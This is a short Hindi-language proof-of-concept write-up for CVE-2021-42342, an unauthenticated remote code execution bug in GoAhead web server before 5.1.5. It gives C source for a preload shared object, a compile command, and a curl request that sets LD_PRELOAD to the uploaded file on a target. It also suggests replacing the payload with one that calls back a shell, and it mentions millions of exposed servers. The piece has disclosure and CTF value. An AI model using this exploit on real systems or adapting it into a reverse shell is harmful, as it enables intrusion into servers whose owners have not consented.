
Goahead Webserver के संस्करण 5.1.5 से पहले पाए गए हालिया RCE के लिए एक छोटा PoC।
Goahead वेबसर्वर में एक हाल ही में खोजा गया बग William Bowling द्वारा पाया गया, जो शोषित सर्वर पर RCE की ओर ले जाता है।
यह समस्या संस्करण 5.1.5 से पहले मौजूद है, जो Shodan के अनुसार इंटरनेट पर लगभग 2.8 मिलियन सर्वरों को कवर करता है।
अब एक CVS उपलब्ध है [https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
RCE इस तथ्य के कारण होता है कि यदि फ़ाइल अपलोड फ़िल्टर सक्षम है, तो उपयोगकर्ता फ़ाइलें अपलोड कर सकता है और साथ ही उपयोगकर्ता फ़ॉर्म चर सेट कर सकता है।
ये चर OS पर्यावरण चर बन जाते हैं। सामान्यतः यह कोई समस्या नहीं है, क्योंकि सामान्य फ़ॉर्म अपलोड मामलों में, env चर को CGI_ (डिफ़ॉल्ट) के साथ उपसर्ग किया जाएगा। हालांकि, यदि फ़ाइल अपलोड फ़िल्टर सक्षम है, तो कोड में एक त्रुटि के कारण यह उपसर्ग छोड़ दिया जाता है = env चर + फ़ाइल के माध्यम से तत्काल RCE।
निम्नलिखित रिमोट सर्वर पर बस "Hellow World" प्रिंट करेगा, लेकिन वास्तव में कुछ भी हो सकता है:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
इसके साथ कंपाइल करें:
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
अब हम अपनी फ़ाइल को सर्वर पर भेजने के लिए तैयार हैं। इसे curl का उपयोग करके किया जा सकता है:
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
[TARGET] को लक्ष्य सर्वर के डोमेन/आईपी में बदलें।
आप शायद सर्वर से एक त्रुटि देखेंगे, लेकिन एक और साझा ऑब्जेक्ट के साथ प्रयास करें जो उदाहरण के तौर पर आपको एक अच्छा शेल देकर वापस कॉल करे। 👍
goahead 5.1.5 के साथ एक फिक्स जारी किया गया है: [https://github.com/embedthis/goahead/issues/305]
यह समस्या शुरू में Perfect Blue CTF टीम के Willian Bowling द्वारा पाई गई थी। pbCTF 2021 के दौरान, एक चुनौती उस समय मौजूद goahead सर्वर का संस्करण (5.1.4) थी, और Kalmarunionen CTF Team के साथ मिलकर हम कोड में उसी 0day समस्या पर पहुंचे (जिसे अभी तक लेखकों को प्रकट नहीं किया गया था)।